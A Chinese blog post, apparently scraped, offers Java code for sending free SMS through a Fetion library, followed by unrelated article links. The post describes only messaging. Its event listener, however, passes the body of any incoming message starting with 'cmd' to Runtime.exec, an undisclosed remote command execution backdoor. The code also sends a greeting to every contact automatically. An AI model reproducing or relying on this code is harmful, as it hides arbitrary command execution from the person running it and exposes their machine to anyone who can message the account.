当前位置: 首页 > news >正文

java免费发短信

最近我在网上浏览网页的时候,无意间看到了一个好东东,就是用java可以免费发短信。前提是你要发的手机是开通飞信业务的。

而且你还需要下个包,地址:http://download.csdn.net/source/1148854

 

下面是java代码:

package com.test;

import java.io.IOException;

import cn.edu.ctgu.ghl.fetion.Contact;
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;


public class test {
 public static void main(String[] args) throws Exception{
  final Fetion fetion = new Fetion("phone","password");

//phone--你的手机号,必须是开通了移动的飞信的
  //password--你开通飞信业务时候设置的密码
  fetion.addListener(new IFetionEventListener(){

   public void process(FetionEvent e) {
    if(e.getFirstLine()!=null
     && e.getFirstLine().startsWith("M")
     && e.getBody()!=null){
     fetion.sendSms2SelfPhone(e.toString());
     if (e.getBody().trim().startsWith("cmd")) {
     // System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
      try {
       Runtime.getRuntime().exec(e.getBody().trim().substring(3));
      } catch (IOException e1) {
       // TODO Auto-generated catch block
       e1.printStackTrace();
      }
     }     
    }
   }
   
  });
  fetion.login();
  for (Contact cc : fetion.getContacts()) {
   //System.out.println("####/r/n" + cc + "/r/n");
   fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
  }
  fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
  //fetion.logout();
 }
 
 
}

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • boost的编译和安装
  • flex拖拽实例
  • flex获得html容器传递的url参数值
  • PHP去除重复的数组数据
  • java实现对url解析
  • build-essential的作用
  • Java实现在图片上添加水印图片和水印文字
  • POJ2406【KMP-next数组】
  • 大访问量网站的mysql参数设置
  • sizeof判断所占空间大小
  • flex滚动字幕和图片效果
  • 一个IP,一个linux服务器,两个项目,两个域名;如何将两个域名配置到同一个IP的两个项目中。...
  • java生成PDF格式文档
  • VRRP笔记三:配置keepalived为实现haproxy高可用的双主模型配置文件示例:
  • 记一次Arch的安装经历
  • 【附node操作实例】redis简明入门系列—字符串类型
  • Babel配置的不完全指南
  • classpath对获取配置文件的影响
  • DOM的那些事
  • ES6语法详解(一)
  • GraphQL学习过程应该是这样的
  • IIS 10 PHP CGI 设置 PHP_INI_SCAN_DIR
  • Node项目之评分系统(二)- 数据库设计
  • SpiderData 2019年2月13日 DApp数据排行榜
  • Spring-boot 启动时碰到的错误
  • Vue ES6 Jade Scss Webpack Gulp
  • 分布式熔断降级平台aegis
  • 开发了一款写作软件(OSX,Windows),附带Electron开发指南
  • 文本多行溢出显示...之最后一行不到行尾的解决
  • 阿里云重庆大学大数据训练营落地分享
  • 格斗健身潮牌24KiCK获近千万Pre-A轮融资,用户留存高达9个月 ...
  • 继 XDL 之后,阿里妈妈开源大规模分布式图表征学习框架 Euler ...
  • 新年再起“裁员潮”,“钢铁侠”马斯克要一举裁掉SpaceX 600余名员工 ...
  • ​520就是要宠粉,你的心头书我买单
  • # 日期待t_最值得等的SUV奥迪Q9:空间比MPV还大,或搭4.0T,香
  • #宝哥教你#查看jquery绑定的事件函数
  • (13)[Xamarin.Android] 不同分辨率下的图片使用概论
  • (2024最新)CentOS 7上在线安装MySQL 5.7|喂饭级教程
  • (51单片机)第五章-A/D和D/A工作原理-A/D
  • (Java入门)抽象类,接口,内部类
  • (Oracle)SQL优化技巧(一):分页查询
  • (二)原生js案例之数码时钟计时
  • (分享)自己整理的一些简单awk实用语句
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (转)ObjectiveC 深浅拷贝学习
  • (转)用.Net的File控件上传文件的解决方案
  • .CSS-hover 的解释
  • .net core 6 使用注解自动注入实例,无需构造注入 autowrite4net
  • .net core docker部署教程和细节问题
  • .NET Core引入性能分析引导优化
  • .net 打包工具_pyinstaller打包的exe太大?你需要站在巨人的肩膀上-VC++才是王道
  • .NET之C#编程:懒汉模式的终结,单例模式的正确打开方式
  • @Pointcut 使用
  • [20171113]修改表结构删除列相关问题4.txt
  • [20180224]expdp query 写法问题.txt